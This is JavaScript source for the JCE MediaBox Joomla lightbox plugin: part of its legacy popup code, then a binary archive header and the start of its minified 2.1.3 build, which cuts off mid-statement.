                case 'realaudio':
                case 'real':
                case 'divx':
                    if (this.print) {
                        this.print.style.visibility = 'hidden';
                    }

                    p.src = this.active.src;

                    var base = /:\/\//.test(p.src) ? '' : this.site;
                    this.object = '';

                    w = this.width();
                    h = this.height();

                    var mt = this.mediatype(this.active.type);

                    if (this.active.type == 'flash') {
                        p.wmode = 'transparent';
                        p.base = base;
                    }
                    if (/(mplayer|windowsmedia)/i.test(this.active.type)) {
                        p.baseurl = base;
                        if (isIE) {
                            p.url = p.src;
                            delete p.src;
                        }
                    }
                    // delete some parameters
                    delete p.title;
                    delete p.group;

                    // Set width/height
                    p.width = this.active.width || this.width();
                    p.height = this.active.height || this.height();

                    var flash = /flash/i.test(this.active.type);
                    var pdf = /pdf/i.test(this.active.type);
                    // Create single object for IE / Flash / PDF

                    // set global media type
                    this.active.type = 'media';
                    this.active.width = p.width;
                    this.active.height = p.height;

                    if (flash || isIE) {
                        this.object = '<object id="jcemediabox-popup-object"';
                        // Add type and data attribute
                        if (flash && !isIE) {
                            this.object += ' type="' + mt.mediatype + '" data="' + p.src + '"';
                        } else {
                            this.object += ' classid="clsid:' + mt.classid + '"';
                            if (mt.codebase) {
                                this.object += ' codebase="' + mt.codebase + '"';
                            }
                        }

                        for (n in p) {
                            if (p[n] !== '') {
                                if (/^(id|name|style|width|height)$/.test(n)) {
                                    t.object += ' ' + n + '="' + decodeURIComponent(DOM.decode(p[n])) + '"';
                                    delete p[n];
                                }
                            }
                        }

                        delete p.type;

                        // Close object
                        this.object += '>';
                        // Create param elements
                        for (n in p) {
                            t.object += '<param name="' + n + '" value="' + decodeURIComponent(DOM.decode(p[n])) + '" />';
                        }
                        // Add closing object element
                        this.object += '</object>';
                        // Use embed for non-IE browsers
                    } else {
                        this.object = '<embed id="jcemediabox-popup-object" type="' + mt.mediatype + '"';
                        for (n in p) {
                            if (v !== '') {
                                t.object += ' ' + n + '="' + v + '"';
                            }
                        }
                        this.object += '></embed>';
                    }

                    this.setup();
                    break;
                case 'video/x-flv':
                case 'video/mp4':
                case 'video/mpeg':
                case 'video/ogg':
                case 'audio/ogg':
                case 'audio/mp3':
                case 'video/webm':
                case 'audio/webm':
                    var type = this.active.type, tag = /video/.test(type) ? 'video' : 'audio';

                    var supportMap = {
                        'video': {
                            'h264' : ['video/mp4', 'video/mpeg'],
                            'webm' : ['video/webm'],
                            'ogg'  : ['video/ogg']
                        },
                        'audio': {
                            'mp3'   : ['audio/mp3'],
                            'ogg'   : ['audio/ogg'],
                            'webm'  : ['audio/webm']
                        }
                    };

                    var hasSupport = false;

                    // video/x-flv not supported by any browser
                    if (type !== "video/x-flv") {
                        for (var n in supportMap[tag]) {
                            if (supportMap[tag][n].indexOf(type) !== -1) {
                                hasSupport = support[tag] && !!support[tag][n];
                            }
                        }
                    }

                    this.object = '';

                    var src = resolveMediaPath(this.active.src);

                    if (p.poster) {
                        p.poster = resolveMediaPath(p.poster);
                    }

                    // create <audio> / <video> tag if suported
                    if (hasSupport) {
                        p.width = p.width || this.active.width;
                        p.height = p.height || this.active.height;

                        this.object += '<' + tag + ' type="' + type + '" src="' + this.active.src + '"' ;

                        for (n in p) {
                            if (p[n] !== '') {
                                if (/(loop|autoplay|controls|preload)$/.test(n)) {
                                    t.object += ' ' + n + '="' + n + '"';
                                }

                                if (/(id|style|poster|audio)$/.test(n)) {
                                    t.object += ' ' + n + '="' + decodeURIComponent(DOM.decode(p[n])) + '"';
                                }
                            }
                        }

                        this.object += '></' + tag + '>';

                    } else if (/(video|audio)\/(mp4|mpeg|x-flv|mp3)/.test(type)) {
                        var swf = JCEMediaBox.options.base + 'plugins/system/jcemediabox/mediaplayer/mediaplayer.swf';

                        this.object += '<object type="application/x-shockwave-flash" class="wf-mediaplayer-object" data="' + swf +'"';
                        // create empty style
                        p.style = p.style || "";

                        var flashvars = ['file=' + toAbsolute(src)];

                        // if supported
                        if (p.poster) {
                            //flashvars.push('poster=' + toAbsolute(p.poster));
                            p.style += " background-image:url('" + p.poster + "')";
                        }

                        each(p, function(v, n) {
                            if (v !== "") {
                                n = n.toLowerCase();

                                if (n === "loop" || n === "autoplay" || n === "controls") {
                                    flashvars.push(n + '=' + !!v);
                                }

                                if (n === "preload") {
                                    flashvars.push(n + '=' + v);
                                }

                                if (n === "id" || n === "style") {
                                    v = decodeURIComponent(DOM.decode(v));

                                    v = JCEMediaBox.trim(v);

                                    if (v !== "") {
                                        t.object += ' ' + n + '="' + v + '"';
                                    }
                                }

                                if (n === "width" | n === "height") {
                                    t.object += ' ' + n + '="' + v + '"';
                                }
                            }
                        });

                        this.object += '>';

                        this.object += '<param name="movie" value="' + swf +'" />';
                        this.object += '<param name="flashvars" value="' + flashvars.join('&') + '" />';
                        this.object += '<param name="allowfullscreen" value="true" />';
                        this.object += '<param name="wmode" value="transparent" />';
                        this.object += '<i>Flash is required to play this video. <a href="http://get.adobe.com/flashplayer/" target="_blank">Get Adobe® Flash Player</a></i>';
                        this.object += '</object>';
                    } else {
                        DOM.addClass(this.content, 'broken-media');
                    }

                    // set global media type
                    this.active.type = 'media';

                    this.setup();
                    break;
                case 'ajax':
                case 'text/html':
                case 'text/xml':
                    if (this.print && this.options.print) {
                        this.print.style.visibility = 'visible';
                    }

                    this.active.width = this.active.width || this.width();
                    this.active.height = this.active.height || this.height();

                    if (this.islocal(this.active.src)) {
                        if (!/tmpl=component/i.test(this.active.src)) {
                            this.active.src += /\?/.test(this.active.src) ? '&tmpl=component' : '?tmpl=component';
                        }
                        this.active.type = 'ajax';
                    } else {
                        this.active.type = 'iframe';
                        this.setup();
                    }

                    styles = extend(this.styles(p.styles), {
                        display: 'none'
                    });

                    this.active.src = this.active.src.replace(/\&type=(ajax|text\/html|text\/xml)/, '');

                    // show loader
                    if (this.loader) {
                        DOM.show(this.loader);
                    }

                    // create an iframe to load internal content in rather than using ajax so that javascript in the article is processed
                    var iframe = DOM.add(document.body, 'iframe', {
                        src: this.active.src,
                        style: 'display:none;'
                    });

                    // transfer data and delete iframe when loaded
                    Event.add(iframe, 'load', function () {

                        // Create ajax container
                        t.ajax = DOM.add(t.content, 'div', {
                            id: 'jcemediabox-popup-ajax',
                            'style': styles
                        });

                        // transfer data
                        t.ajax.innerHTML = iframe.contentWindow.document.body.innerHTML;

                        // Corrective stuff for IE6 and IE7
                        if (JCEMediaBox.isIE6) {
                            DOM.style(t.ajax, 'margin-right', JCEMediaBox.Dimensions.getScrollbarWidth());
                        }

                        if (JCEMediaBox.isIE7) {
                            DOM.style(t.ajax, 'padding-right', JCEMediaBox.Dimensions.getScrollbarWidth());
                        }

                        window.setTimeout(function () {
                            // remove iframe
                            DOM.remove(iframe);
                        }, 10);

                        // process any popups in loaded content
                        t.create(t.getPopups('', t.content));

                        // process any tooltips in loaded content
                        JCEMediaBox.ToolTip.create(t.content);

                        // setup
                        return t.setup();
                    });

                    iframe.onerror = function () {
                        DOM.addClass(this.content, 'broken-page');
                        return t.setup();
                    };

                    break;
                case 'iframe':
                case 'pdf':
                case 'video/youtube':
                case 'video/vimeo':
                default:
                    // iOS Safari cannot open PDF files properly
                    if (JCEMediaBox.isMobile && this.active.type === "pdf") {
                        this.close();
                        return window.open(this.active.src);
                    }

                    if (this.print) {
                        this.print.style.visibility = 'hidden';
                    }

                    if (this.islocal(this.active.src)) {
                        // add tmpl=component to internal links, skip pdf
                        if (!/tmpl=component/i.test(this.active.src) && !/\.pdf\b/i.test(this.active.src)) {
                            this.active.src += /\?/.test(this.active.src) ? '&tmpl=component' : '?tmpl=component';
                        }
                    }

                    // make URL protocol relative
                    this.active.src = this.protocolRelative(this.active.src);

                    this.active.width = this.active.width || this.width();
                    this.active.height = this.active.height || this.height();

                    this.active.type = 'iframe';
                    this.setup();

                    break;
            }
            return false;
        },
        /**
         * Proportional resizing method
         * @param {Object} w
         * @param {Object} h
         * @param {Object} x
         * @param {Object} y
         */
        resize: function (w, h, x, y) {
            if (w > x) {
                h = h * (x / w);
                w = x;
                if (h > y) {
                    w = w * (y / h);
                    h = y;
                }
            } else if (h > y) {
                w = w * (y / h);
                h = y;
                if (w > x) {
                    h = h * (x / w);
                    w = x;
                }
            }
            w = Math.round(w);
            h = Math.round(h);

            return {
                width: Math.round(w),
                height: Math.round(h)
            };
        },
        /**
         * Pre-animation setup. Resize images, set width / height
         */
        setup: function () {
            var t = this, DOM = JCEMediaBox.DOM, w, h, o = JCEMediaBox.options.popup;

            w = this.active.width;
            h = this.active.height;

            // Setup info
            this.info();

            // Get image dimensions and resize if necessary
            if (this.active.type == 'image') {
                if (t.img.error) {
                    w = 300;
                    h = 300;
                }

                var x = this.img.width;
                var y = this.img.height;

                if (w && !h) {
                    h = y * (w / x);
                } else if (!w && h) {
                    w = x * (h / y);
                }

                w = w || x;
                h = h || y;
            }

            // Resize to fit screen
            if (parseInt(o.resize) === 1 || (parseInt(o.resize) === 0 && o.scrolling == 'fixed')) {
                var x = this.width();
                var y = this.height();

                var dim = this.resize(w, h, x, y);

                w = dim.width;
                h = dim.height;
            }

            // set content dimensions
            DOM.styles(this.content, {
                width: w,
                height: h
            });

            DOM.hide(this.content);

            if (this.active.type == 'image') {
                if (this.img.error) {
                    DOM.addClass(this.content, 'broken-image');
                } else {
                    this.content.innerHTML = '<img id="jcemediabox-popup-img" src="' + this.active.src + '" title="' + this.active.title + '" />';
                }

                // fix resized images in IE
                if (JCEMediaBox.isIE) {
                    var img = DOM.get('jcemediabox-popup-img');
                    if (img) {
                        DOM.style(img, '-ms-interpolation-mode', 'bicubic');
                    }
                }
            }

            // Animate box
            return this.animate();
        },
        showInfo: function () {
            var t = this, each = JCEMediaBox.each, DOM = JCEMediaBox.DOM, FX = JCEMediaBox.FX, DIM = JCEMediaBox.Dimensions, Event = JCEMediaBox.Event;
            var ss = JCEMediaBox.options.popup.scalespeed, fs = JCEMediaBox.options.popup.fadespeed;

            // Set Information
            var itop = t['info-top'];
            if (itop) {
                each(DOM.select('*[id]', itop), function (el) {
                    if (/jcemediabox-popup-(next|prev)/.test(DOM.attribute(el, 'id'))) {
                        return;
                    }
                    DOM.show(el);
                });

                var h = DIM.outerHeight(itop);
                DOM.styles(itop, {
                    'z-index': -1,
                    'top': h,
                    'visibility': 'visible'
                });

                FX.animate(itop, {
                    'top': 0
                }, ss);
            }

            if (t.closelink) {
                DOM.show(t.closelink);
            }

            var ibottom = t['info-bottom'];
            if (ibottom) {
                each(DOM.select('*[id]', ibottom), function (el) {
                    if (/jcemediabox-popup-(next|prev)/.test(DOM.attribute(el, 'id'))) {
                        return;
                    }
                    DOM.show(el);
                });

                var h = DIM.outerHeight(ibottom);

                DOM.styles(ibottom, {
                    'z-index': -1,
                    'top': -h,
                    'visibility': 'visible'
                });

                FX.animate(ibottom, {
                    'top': 0
                }, ss);
            }
        },
        /**
         * Animate the Popup
         */
        animate: function () {
            var t = this, each = JCEMediaBox.each, DOM = JCEMediaBox.DOM, FX = JCEMediaBox.FX, DIM = JCEMediaBox.Dimensions, Event = JCEMediaBox.Event;
            var ss = JCEMediaBox.options.popup.scalespeed, fs = JCEMediaBox.options.popup.fadespeed;

            var cw = DIM.outerWidth(this.content);
            var ch = DIM.outerHeight(this.content);

            var ih = 0;
            each(['top', 'bottom'], function (v, i) {
                var el = t['info-' + v];
                if (el) {
                    ih = ih + DIM.outerHeight(el);
                }
            });

            var st = DOM.style(this.page, 'position') == 'fixed' ? 0 : DIM.getScrollTop();
            var top = st + (this.frameHeight() / 2) - ((ch + ih) / 2);

            if (top < 0) {
                top = 0;
            }

            DOM.style(this.content, 'opacity', 0);

            // Animate width
            FX.animate(this.body, {
                'height': ch,
                'top': top,
                'width': cw
            }, ss, function () {
                // Iframe
                if (t.active.type == 'iframe') {
                    // Create IFrame
                    var iframe = DOM.add(t.content, 'iframe', {
                        id: 'jcemediabox-popup-iframe',
                        frameborder: 0,
                        allowTransparency: true,
                        scrolling: t.active.params.scrolling || 'auto',
                        width: '100%',
                        height: '100%'
                    });

                    // use pdf loader
                    if (/\.pdf\b/.test(t.active.src)) {
                        // Hide loader
                        if (t.loader) {
                            DOM.hide(t.loader);
                        }
                    } else {
                        var win = iframe.contentWindow, doc = win.document, _timer;

                        // fallback iframe load for iOS WebKit
                        if (JCEMediaBox.isiOS && JCEMediaBox.isWebKit) {
                            _timer = setInterval(function () {
                                if (doc.readyState === 'complete') {
                                    clearInterval(_timer);

                                    if (t.loader) {
                                        DOM.hide(t.loader);
                                    }
                                }
                            }, 1000);
                        }

                        iframe.onload = function () {
                            if (_timer) {
                                clearInterval(_timer);
                            }

                            // Hide loader
                            if (t.loader) {
                                DOM.hide(t.loader);
                            }
                        };
                    }

                    iframe.setAttribute('src', t.active.src);

                    t.iframe = iframe;

                } else {
                    // Hide loader
                    if (t.loader) {
                        DOM.hide(t.loader);
                    }

                    // If media
                    if (t.active.type == 'media' && t.object) {
                        t.content.innerHTML = t.object;

                        if (/\.pdf\b/.test(t.active.src) && JCEMediaBox.isiOS) {
                            DOM.styles(DOM.get('jcemediabox-popup-object'), {'height': '1000%', 'width': '150%'});
                        }
                    }

                    if (t.active.type == 'ajax') {
                        DOM.show(t.ajax);
                    }
                }

                DOM.show(t.content);
                t.content.focus();

                // Animate fade in for images only and not on IE6!
                if (t.active.type == 'image' && !JCEMediaBox.isIE6) {
                    FX.animate(t.content, {
                        'opacity': 1
                    }, fs, function () {
                        t.showInfo();
                    });

                } else {
                    DOM.style(t.content, 'opacity', 1);
                    t.showInfo();
                }
            });

        },
        /**
         * Close the popup window. Destroy all objects
         */
        close: function (keepopen) {
            var t = this, each = JCEMediaBox.each, DOM = JCEMediaBox.DOM, DIM = JCEMediaBox.Dimensions, FX = JCEMediaBox.FX;

            var ss = JCEMediaBox.options.popup.scalespeed;

            if (this.iframe) {
                DOM.attribute(this.iframe, 'src', '');
            }

            // Destroy objects
            each(['img', 'object', 'iframe', 'ajax'], function (i, v) {
                //t[v] = null;

                if (t[v]) {
                    DOM.remove(t[v]);
                }

                t[v] = null;
            });

            // Hide closelink
            if (this.closelink) {
                DOM.hide(this.closelink);
            }

            // Empty content div
            this.content.innerHTML = '';

            if (!keepopen) {
                // Hide info div
                each(['top', 'bottom'], function (v, i) {
                    var el = t['info-' + v];
                    if (el) {
                        DOM.hide(el);
                    }
                });

                // reset popups
                var popups = this.getPopups();
                while (this.popups.length > popups.length) {
                    this.popups.pop();
                }

                // remove frame
                DOM.remove(this.frame);
                // Fade out overlay
                if (this.overlay) {
                    if (JCEMediaBox.isIE6) {
                        // Remove event bindings
                        this.bind();
                        // Remove body, ie: popup
                        DOM.remove(this.page);
                        this.page = null;
                    } else {
                        JCEMediaBox.FX.animate(this.overlay, {
                            'opacity': 0
                        }, JCEMediaBox.options.popup.fadespeed, function () {
                            t.bind();
                            // destroy page
                            DOM.remove(t.page);
                            t.page = null;
                        });

                    }
                } else {
                    // destroy page
                    DOM.remove(this.page);
                    this.page = null;
                }
            }
            return false;
        }

    };
})(window);
// Cleanup events
JCEMediaBox.Event.addUnload(function () {
    JCEMediaBox.Event.destroy();
});
PK�(]k�U�U�(system/jcemediabox/js/jcemediabox.min.jsnu�[���/* jcemediabox - 2.1.3 | 2022-11-17 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2021 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
if("undefined"===window.jQuery)throw new Error("JQuery is required to run Mediabox!");!function($){function scrollIntoView(el,pos){var supported="scrollBehavior"in document.documentElement.style;if(supported)try{return void $(el).get(0).scrollIntoView({block:"center"})}catch(e){}var boxCenter=$(el).offset().top+$(el).outerHeight(!0)/2,windowCenter=window.innerHeight/2;window.scrollTo(0,boxCenter-windowCenter)}var autoplayInterval,MediaBox={util:{},settings:{selector:".jcepopup, .wfpopup, [data-mediabox]",labels:{close:"Close",next:"Next",previous:"Previous"},convert_local_url:!0,autoplay:0},popups:[],items:[],activator:null,getSite:function(){var base=this.settings.base||"";if(base){var site=document.location.href,parts=site.split("://"),port=parts[0],url=parts[1];return url=url.indexOf(base)!==-1?url.substr(0,url.indexOf(base)):url.substr(0,url.indexOf("/"))||url,port+"://"+url+base}return null},isPrint:function(){var site=document.location.href;return site.indexOf("&print=1")!==-1},init:function(settings){var self=this;return this.isPrint()?($(this.settings.selector).children().unwrap(),!0):($.extend(this.settings,settings),this.site=this.getSite(),self.create(),void $(".jcetooltip, .jce_tooltip").each(function(){var text=$(this).attr("title")||"",title="",cls=$(this).attr("class");if(text.indexOf("::")!==-1){var parts=text.split("::");title=$.trim(parts[0]),text=$.trim(parts[1])}$(this).attr("title",text);var pos=/tooltip-(top|bottom|left|right)/.exec(cls);pos=pos?pos[1]:"top",window.UIkit&&UIkit.tooltip?UIkit.tooltip(this,{title:text,position:pos}):"undefined"!=typeof $.fn.tooltip&&$(".jcetooltip, .jce_tooltip").tooltip({title:text,placement:pos})}))},getPopups:function(s,p){var selector=s||this.settings.selector;return $(selector,p).filter("a[href], area[href]")},translate:function(s){var o=this.settings,labels=o.labels;return s&&(s="{{"===s.substr(0,2)?s.replace(/\{\{(\w+?)\}\}/g,function(a,b){return labels[b]||a}):labels[s]||s),s},getStyles:function(o){var x=[];return o?($.each(o.split(";"),function(i,s){s=s.replace(/(.*):(.*)/,function(a,b,c){return'"'+b+'":"'+c+'"'}),x.push(s)}),$.parseJSON("{"+x.join(",")+"}")):{}},islocal:function(s){return!/^(\w+):\/\//.test(s)||new RegExp("^("+Env.url+")").test(s)},auto:function(){function makeID(src){var url=document.location.href,key=window.btoa(url+src);return key=key.replace(/[^\w]/g,""),key=key.substr(0,24)}var key,self=this;$(this.popups).each(function(i,el){if(el.auto)if("single"==el.auto){key=el.id||makeID(el.src);var cookie=MediaBox.Storage.get("wf_mediabox_"+key+"_"+i);cookie||(MediaBox.Storage.set("wf_mediabox_"+key+"_"+i,1),self.start(el))}else"multiple"==el.auto&&self.start(el)})},getData:function(n){var data,o={},re=/\w+\[[^\]]+\]/;if(data=$(n).attr("data-mediabox")||$(n).attr("data-json"))n.removeAttribute("data-json"),n.removeAttribute("data-mediabox"),re.test(data)&&(o=MediaBox.Parameter.parse(data));else{var rel=$(n).attr("rel");if(rel&&re.test(rel)){var args=[];return rel=rel.replace(/\b((\w+)\[(.*?)\])(;?)/g,function(a,b,c){return args.push(b),""}),o=MediaBox.Parameter.parse(args)||{},$(n).attr("rel",rel||o.rel||""),o}}var i,attrs=n.attributes;for(i=attrs.length-1;i>=0;i--){var attrName=attrs[i].name;if(attrName&&attrName.indexOf("data-mediabox-")!==-1){var attr=attrName.replace("data-mediabox-","");o[attr]=attrs[i].value}}return o},preloadMedia:function(){},process:function(el){var data,match,s=this.settings,o={},group="",auto=!1,src=el.getAttribute("href");if(src){src=src.replace(/b(w|h)=([0-9]+)/g,function(s,k,v){return k="w"===k?"width":"height",k+"="+v}),data=this.getData(el)||{};var title=data.title||el.title||"",caption=data.caption||"",type=data.type||el.type||"",rel=el.rel||"";if(!MediaBox.Env.mobile||!/\.pdf$/i.test(src)&&"pdf"!==type){if(!/\w+\[[^\]]+\]/.test(rel)){var rx="alternate|stylesheet|start|next|prev|contents|index|glossary|copyright|chapter|section|subsection|appendix|help|bookmark|nofollow|noopener|noreferrer|licence|tag|friend",lb="(lightbox([(.*?)])?)",lt="(lyte(box|frame|show)([(.*?)])?)";group=$.trim(rel.replace(new RegExp("(^|\\s+)"+rx+"|"+lb+"|"+lt+"(\\s+|$)","g"),"","gi"))}"AREA"==el.nodeName&&(data||(data=MediaBox.Parameter.parse(src)),group=group||"AREA_ELEMENT",data.type||(match=/\b(ajax|iframe|image|flash|director|shockwave|mplayer|windowsmedia|quicktime|realaudio|real|divx|pdf)\b/.exec(el.className))&&(data.type=match[0])),/autopopup-(single|multiple)/.test(el.className)&&(auto=/(multiple)/.test(el.className)?"multiple":"single"),auto=auto||data.autopopup||"",group=$(el).hasClass("nogroup")?"":group||data.group||"";var width=data.width||s.width,height=data.height||s.height;return $.each(["src","title","caption","group","width","height"],function(i,k){delete data[k]}),/!\D/.test(width)&&(width=parseInt(width)),/!\D/.test(height)&&(height=parseInt(height)),$.extend(o,{node:el,src:src,title:title,caption:caption,group:group,width:width,height:height,params:data,auto:auto,type:type}),src=src.replace(/&type=(ajax|text\/html|text\/xml)/,""),el.setAttribute("href",src),o}}},create:function(elements){function imageIsCentered(img){var elm=$(img).get(0);return"auto"==elm.style.marginLeft&&"auto"==elm.style.marginRight&&"block"==elm.style.display}var self=this,s=this.settings,pageload=!1;elements||(pageload=!0,this.popups=[],1===s.legacy&&MediaBox.Convert.legacy(),1===s.lightbox&&MediaBox.Convert.lightbox(),1===s.shadowbox&&MediaBox.Convert.shadowbox()),this.elements=elements||this.getPopups(),$(this.elements).removeClass("jcelightbox jcebox jcepopup").addClass("wfpopup").each(function(i){var o=self.process(this);if(!o)return!0;if(self.popups.push(o),pageload||(i=self.popups.length-1),"_blank"===$(this).attr("target")){var rel=$(this).attr("rel")||"";rel.indexOf("noopener")===-1&&(rel+=" noopener"),rel.indexOf("noreferrer")===-1&&(rel+=" noreferrer"),$(this).attr("rel",$.trim(rel))}if($(this).attr("class",function(i,v){return v.replace(/(zoom|icon)-(top|right|bottom|left|center)(-(top|right|bottom|left|center))?/,function(match,prefix,pos1,pos2){var str="wf-icon-zoom-"+pos1;return pos2&&(str+=pos2),str})}),1===s.icons&&!$(this).hasClass("noicon")){var $img=$("img:first",this);if($img.length){var styles={};$('<span class="wf-icon-zoom-image" />').html(function(){return MediaBox.getSVGIcon("search")}).insertAfter($img);var flt=$img.css("float");flt&&"none"!==flt&&($img.parent().css("float",flt),$img.css("float",""),$(this).addClass("wf-mediabox-has-float")),$.each(["top","right","bottom","left"],function(i,pos){var m=$img.css("margin-"+pos),p=$img.css("padding-"+pos);m&&/\d/.test(m)&&parseInt(m)>0&&$img.parent().css("margin-"+pos,m),p&&/\d/.test(p)&&parseInt(p)>0&&$img.parent().css("padding-"+pos,p)}),imageIsCentered($img)&&(styles["max-width"]=$img.width(),$(this).addClass("wf-mediabox-is-centered"),styles["margin-left"]="",styles["margin-right"]=""),$img.css({margin:0,padding:0,float:"none"}),$img.parent().css(styles),$(this).addClass("wf-zoom-image")}else $('<span class="wf-icon-zoom-link" />').html(function(){return MediaBox.getSVGIcon("link")}).appendTo(this).find("svg").css("fill",$(this).css("color"))}$(this).on("click",function(e){return e.preventDefault(),o.src=this.getAttribute("href"),o.params.skipfocus||(self.activator=this),self.start(o,i)})}),0===$(".wf-mediabox").length&&self.auto()},open:function(data,title,group,type,params){var i,x=0,o={},found=!1;if("string"==typeof data&&($.extend(o,{src:data,title:title,group:group,type:type,params:params||{}}),o.params.width&&(o.width=o.params.width),o.params.height&&(o.height=o.params.height),$.each(this.popups,function(i,obj){obj.src==o.src&&(found=!0)}),found||this.popups.push(o)),data.nodeName&&("A"===data.nodeName||"AREA"===data.nodeName))if(i=$.inArray(this.elements,data),i>=0)o=this.popups[i],x=i;else{var o=this.process(data);x=this.popups.push(o),x--}return this.start(o,x)},start:function(p,i){var len,self=this,n=0,items=[];if(this.build()){p.group?($.each(this.popups,function(x,o){o.group===p.group&&(len=items.push(o),i&&x===i&&(n=len-1))}),p.auto||"undefined"!=typeof i||(items.push(p),n=items.length-1)):items.push(p);var overlayDuration=$(".wf-mediabox-overlay").css("transition-duration");return overlayDuration=1e3*parseFloat(overlayDuration)||300,window.setTimeout(function(){return self.show(items,n)},overlayDuration),!0}return!1},build:function(){var self=this,s=this.settings;if(0===$(".wf-mediabox").length){var $page=$('<div class="wf-mediabox" role="dialog" aria-modal="true" aria-labelledby="" aria-describedby="" tabindex="-1" />').appendTo("body");$page.addClass("wf-mediabox-overlay-transition"),MediaBox.Env.ie6&&$page.addClass("ie6"),MediaBox.Env.iOS&&$page.addClass("ios"),1===s.overlay&&$('<div class="wf-mediabox-overlay" tabindex="-1" />').appendTo($page).css("background-color",s.overlay_color),$page.append('<div class="wf-mediabox-frame" role="document" tabindex="-1"><div class="wf-mediabox-loader" role="status" aria-label="'+this.translate("loading")+'" tabindex="-1"></div><div class="wf-mediabox-body" aria-hidden="true" tabindex="-1" /></div>'),$page.addClass("wf-mediabox-theme-"+s.theme),MediaBox.Addons.Theme.parse(s.theme,function(s){return self.translate(s)},".wf-mediabox-body"),$(".wf-mediabox-frame").children().hide(),MediaBox.Env.iOS&&$(".wf-mediabox-content").css({webkitOverflowScrolling:"touch",overflow:"auto"}),2===s.close&&$(".wf-mediabox-frame").on("click",function(e){e.target&&e.target===this&&self.close()}),$(".wf-mediabox-close, .wf-mediabox-cancel").on("click",function(e){e.preventDefault(),self.close()}).attr("tabindex",0).attr("svg-icon",function(i,val){val&&$(this).append(MediaBox.getSVGIcon(val))}),$(".wf-mediabox-next").on("click",function(e){e.preventDefault(),self.nextItem()}).attr("tabindex",0).attr("svg-icon",function(i,val){val&&$(this).append(MediaBox.getSVGIcon(val))}),$(".wf-mediabox-prev").on("click",function(e){e.preventDefault(),self.previousItem()}).attr("tabindex",0).attr("svg-icon",function(i,val){val&&$(this).append(MediaBox.getSVGIcon(val))}),$(".wf-mediabox-numbers").data("html",$(".wf-mediabox-numbers").html()).attr("aria-hidden",!0),$page.addClass("wf-mediabox-open"),$(".wf-mediabox-overlay").css("opacity",s.overlayopacity||.8)}return!0},show:function(items,n){var s=this.settings;return this.items=items,this.bind(!0),$(".wf-mediabox-body").show(),1===s.overlay&&$(".wf-mediabox-overlay").length&&s.overlay_opacity&&$(".wf-mediabox-overlay").css("opacity",0).animate({opacity:parseFloat(s.overlay_opacity)},s.transition_speed),$(".wf-mediabox").addClass("wf-mediabox-transition-scale"),this.change(n)},bind:function(open){var self=this,s=this.settings;if(open){$(document).on("keydown.wf-mediabox",function(e){self.addListener(e)});var xDown,yDown;$(".wf-mediabox-body").on("touchstart",function(e){1===e.originalEvent.touches.length&&1!==self.items.length&&(xDown=e.originalEvent.touches[0].clientX,yDown=e.originalEvent.touches[0].clientY)}).on("touchmove",function(e){if(xDown&&yDown&&1===e.originalEvent.touches.length&&1!==self.items.length){var xUp=e.originalEvent.touches[0].clientX,yUp=e.originalEvent.touches[0].clientY,xDiff=xDown-xUp,yDiff=yDown-yUp;Math.abs(xDiff)>Math.abs(yDiff)&&(xDiff>0?self.nextItem():self.previousItem(),e.preventDefault()),xDown=null,yDown=null}})}else $(document).off("keydown.wf-mediabox"),$(".wf-mediabox").off("keydown.wf-mediabox");var resize=MediaBox.Tools.debounce(function(){var popup=self.items[self.index];popup&&self.updateBodyWidth(popup)},300);$(window).on("resize.wf-mediabox, orientationchange.wf-mediabox",resize),s.autoplay&&(autoplayInterval=setInterval(function(){self.nextItem()===!1&&clearInterval(autoplayInterval)},1e3*s.autoplay))},updateBodyWidth:function(popup){var w,h,ratio,ww=$(window).width(),wh=$(window).height(),fw=$(".wf-mediabox-frame").width(),fh=$(".wf-mediabox-frame").height();if("scroll"===this.settings.scrolling){var framePaddingLeft=$(".wf-mediabox-frame").css("padding-left"),framePaddingTop=$(".wf-mediabox-frame").css("padding-top");fw=ww-2*parseInt(framePaddingLeft),fh=wh-2*parseInt(framePaddingTop)}if(w=MediaBox.Tools.parseWidth(popup.width),h=MediaBox.Tools.parseHeight(popup.height||fh),$(".wf-mediabox-content").hasClass("wf-mediabox-content-ratio-flex")){var modh=$(".wf-mediabox-body").height()-$(".wf-mediabox-content").height();h=Math.min(h,fh),modh+=wh-h,$(".wf-mediabox-content-item").css("height","calc(100vh - "+modh+"px)")}var dim=MediaBox.Tools.resize(w,h,fw,fh),bw=dim.width;$(".wf-mediabox-body").css("max-width",bw);var bh=$(".wf-mediabox-body").height();if(fw>fh)ratio=(bw/bh).toFixed(1),bh>fh&&(bw=ratio*(fh-16)-32,$(".wf-mediabox-body").css("max-width",bw));else if(ratio=(bh/bw).toFixed(1),bh>fh){for(ratio=bw>bh?(bh/bw).toFixed(1):(bw/bh).toFixed(1);bh>fh;)bw=Math.max(260,bw),bh=ratio*bw;$(".wf-mediabox-body").css("max-width",bw-16)}},addListener:function(e){switch(e.keyCode){case 27:this.close();break;case 37:this.previousItem();break;case 39:this.nextItem()}},queue:function(n){var self=this,changed=!1,callback=function(){if(!changed)return changed=!0,$(".wf-mediabox-body").removeClass("wf-mediabox-transition"),self.change(n)};callback()},nextItem:function(){if(1===this.items.length)return!1;var n=this.index+1;return!(n<0||n>=this.items.length)&&this.queue(n)},previousItem:function(){if(1===this.items.length)return!1;var n=this.index-1;return!(n<0||n>=this.items.length)&&this.queue(n)},info:function(){function processRe(h){return h=h.replace(ex,'<a href="mailto:$1" target="_blank">$1</a>'),h=h.replace(ux,'<a href="$1" target="_blank">$1</a>')}var popup=this.items[this.index];if($(".wf-mediabox-focus").removeClass("wf-mediabox-focus"),$("a[download]",".wf-mediabox-content").remove(),popup.params.download&&$('<a href="'+popup.src+'" target="_blank" download>'+this.translate("download")+"</a>").appendTo(".wf-mediabox-content"),$(".wf-mediabox-caption").length){var title=popup.title||"",text=popup.caption||"",h="",ex=/([-!#$%&\'\*\+\\./0-9=?A-Z^_`a-z{|}~]+@[-!#$%&\'\*\+\\/0-9=?A-Z^_`a-z{|}~]+\.[-!#$%&\'*+\\./0-9=?A-Z^_`a-z{|}~]+)/gi,ux="((news|telnet|nttp|file|http|ftp|https)://[-!#$%&'*+\\/0-9=?A-Z^_`a-z{|}~]+.[-!#$%&'*+\\./0-9=?A-Z^_`a-z{|}~]+)",ux=/([a-zA-Z]{3,9}:\/\/[^\s]+)/gi;if(title=MediaBox.Entities.decode(title),text=MediaBox.Entities.decode(text),title.indexOf("::")!==-1){var 